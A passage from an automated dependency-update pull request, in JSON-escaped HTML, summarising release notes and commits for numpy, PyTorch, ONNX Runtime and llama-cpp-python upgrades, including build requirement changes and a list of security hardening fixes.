href=\"https://redirect.github.com/numpy/numpy/pull/31211\"\u003e#31211\u003c/a\u003e: DEP: Undo deprecation for np.dtype() signature used by old pickles...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31212\"\u003e#31212\u003c/a\u003e: REV: Manual revert of float16 svml use (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31178\"\u003e#31178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31222\"\u003e#31222\u003c/a\u003e: TYP: \u003ccode\u003eix_\u003c/code\u003e fix for boolean and non-1d input (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31218\"\u003e#31218\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31329\"\u003e#31329\u003c/a\u003e: BUG: incorrect temp elision for new-style (NEP 43) user-defined...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31330\"\u003e#31330\u003c/a\u003e: TYP: fix sliding_window_view axis parameter typing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/26e81854b03fea36ac2b21e3158756fdd40f19bb\"\u003e\u003ccode\u003e26e8185\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31441\"\u003e#31441\u003c/a\u003e from charris/prepare-2.4.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/573110c57cf0fcb8b8c922c4d4334ed6eb779727\"\u003e\u003ccode\u003e573110c\u003c/code\u003e\u003c/a\u003e REL: Prepare for the NumPy 2.4.5 release.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/be6123aecff71ac70f304347fcf066ba328d7e4e\"\u003e\u003ccode\u003ebe6123a\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31426\"\u003e#31426\u003c/a\u003e from jorenham/backport-31425\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/a286f52cfc7411deb39de391dfc7164070e19365\"\u003e\u003ccode\u003ea286f52\u003c/code\u003e\u003c/a\u003e TYP: Fix \u003ccode\u003eDTypeLike\u003c/code\u003e runtime type-checker support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/f880727ca1ef2aa784cf9986ac662744e3302cef\"\u003e\u003ccode\u003ef880727\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31404\"\u003e#31404\u003c/a\u003e from charris/backport-31399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/626d469496ba909ad73acb0f3744c72027244c4e\"\u003e\u003ccode\u003e626d469\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31402\"\u003e#31402\u003c/a\u003e from charris/backport-31397\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/a42bd48565ae12a2258b343c6250a3a7ab22712c\"\u003e\u003ccode\u003ea42bd48\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31401\"\u003e#31401\u003c/a\u003e from charris/backport-31396\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/207ad05615ca78c0b39ee1f02985c6b34d2098c3\"\u003e\u003ccode\u003e207ad05\u003c/code\u003e\u003c/a\u003e TYP: \u003ccode\u003e_NestedSequence\u003c/code\u003e type parameter default to work around a mypy issue (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/3\"\u003e#3\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/309b6373180a2320a23eecfdb8609c7746eda8a9\"\u003e\u003ccode\u003e309b637\u003c/code\u003e\u003c/a\u003e BUG: exclude \u003cstrong\u003epycache\u003c/strong\u003e directories from wheels (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31397\"\u003e#31397\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/8ded93cba4c57708fe7ead08d2d6f0045952f6d4\"\u003e\u003ccode\u003e8ded93c\u003c/code\u003e\u003c/a\u003e BUG: Avoid UB in safe_[add,sub,mul] helpers (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31396\"\u003e#31396\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/numpy/numpy/compare/v2.4.4...v2.4.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `torch` from 2.11.0 to 2.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytorch/pytorch/releases\"\u003etorch's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ePyTorch 2.12.0 Release Notes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#highlights\"\u003eHighlights\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#backwards-incompatible-changes\"\u003eBackwards Incompatible Changes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#deprecations\"\u003eDeprecations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#new-features\"\u003eNew Features\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#improvements\"\u003eImprovements\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#bug-fixes\"\u003eBug fixes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#performance\"\u003ePerformance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#documentation\"\u003eDocumentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#developers\"\u003eDevelopers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#security\"\u003eSecurity\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHighlights\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eFor more details about these highlighted features, you can look at the release blogpost. Below are the full release notes for this release.\u003c/p\u003e\n\u003ch1\u003eBackwards Incompatible Changes\u003c/h1\u003e\n\u003ch2\u003eBuild Frontend\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eStrengthened SVE compile checks in \u003ccode\u003eFindARM.cmake\u003c/code\u003e, which may reject previously accepted but incorrect SVE configurations (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/176646\"\u003e#176646\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eSource builds that enable SVE now validate the compiler configuration more strictly. If a build previously passed with an incomplete or mismatched SVE setup, it may now fail during CMake configuration instead of later in compilation. Update the compiler/toolchain flags so they accurately describe the target SVE support, or disable SVE for that build.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated the minimum CUDA version required to build PyTorch from source to CUDA 12.6 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178925\"\u003e#178925\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eBuilding PyTorch from source with CUDA versions older than 12.6 is no longer supported. Users building custom binaries should install CUDA 12.6 or newer and make sure \u003ccode\u003eCUDA_HOME\u003c/code\u003e points to that installation.\u003c/p\u003e\n\u003cp\u003eVersion 2.11:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.4 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVersion 2.12:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.6 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnforced a C++20 minimum in CMake build files (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178662\"\u003e#178662\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/0d62256a2b23365f8e1604297eb23a6545102aa8\"\u003e\u003ccode\u003e0d62256\u003c/code\u003e\u003c/a\u003e [release] Dockerfile: skip torchaudio install when CUDA_PATH=cu132 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/183346\"\u003e#183346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/7661cd9c6b841b62b7f411aa52ec51f05457263b\"\u003e\u003ccode\u003e7661cd9\u003c/code\u003e\u003c/a\u003e [MPS] Fix SDPA wrong output for permuted q/k/v with B \u0026gt; 1 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181886\"\u003e#181886\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/9da6087ab64ab6a2118686420ca5353c90dd7e1f\"\u003e\u003ccode\u003e9da6087\u003c/code\u003e\u003c/a\u003e Fix stale PYTORCH_RELEASES_CODE_CC dict (fixes \u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182250\"\u003e#182250\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182369\"\u003e#182369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/e4c37cc011d47246ce8ea4b99c9b28fb7f400224\"\u003e\u003ccode\u003ee4c37cc\u003c/code\u003e\u003c/a\u003e Avoid raw stream name collisions in Inductor (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182178\"\u003e#182178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/822d047dc8dd8d919f83c3ad5c786e405075d1f0\"\u003e\u003ccode\u003e822d047\u003c/code\u003e\u003c/a\u003e [MPS] Fix bool mask handling in 1-pass SDPA decode kernel (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182285\"\u003e#182285\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182311\"\u003e#182311\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/5c5e523cd520e6986006e45be243b3ee927ea546\"\u003e\u003ccode\u003e5c5e523\u003c/code\u003e\u003c/a\u003e Add enable_gqa parameter to SDPA MPS meta registration (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181550\"\u003e#181550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/eece52ead16886e5463c3dcee9b04db783cc68d5\"\u003e\u003ccode\u003eeece52e\u003c/code\u003e\u003c/a\u003e [AOTI] Add BC-safe c_shim v2 for _scaled_dot_product_attention_math_for_mps e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/b39330bbe210b9628207e84d8ba2cabb7975fbac\"\u003e\u003ccode\u003eb39330b\u003c/code\u003e\u003c/a\u003e [Inductor] Call latest c_shim version for versioned fallback ops (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181548\"\u003e#181548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/06f10d088229a25ac52bd14b6cacc04a4161f6ca\"\u003e\u003ccode\u003e06f10d0\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[FSDP2] add fqn to communication ops\u0026quot; (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182100\"\u003e#182100\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182157\"\u003e#182157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/449e3393139a1aca9afec120c9a63f98f12d55b0\"\u003e\u003ccode\u003e449e339\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[Inductor] Improve materialization heuristic for a chain of computaio...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytorch/pytorch/compare/v2.11.0...v2.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.23\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4a1a8ecd8047149b24a6d997f6f8c992d49aa99a\"\u003e\u003ccode\u003e4a1a8ec\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.23 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/568411233f5f326f80c41c6e026bc80f27c00e69\"\u003e\u003ccode\u003e5684112\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 7d442abf (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f8c1f36be8116b1213e0e77df7fa9403ba3acd59\"\u003e\u003ccode\u003ef8c1f36\u003c/code\u003e\u003c/a\u003e fix(embed): mark all tokens as output to suppress llama.cpp 'overriding' INFO...\u003c/li\u003e\n\u003cli\u003e\u003ca 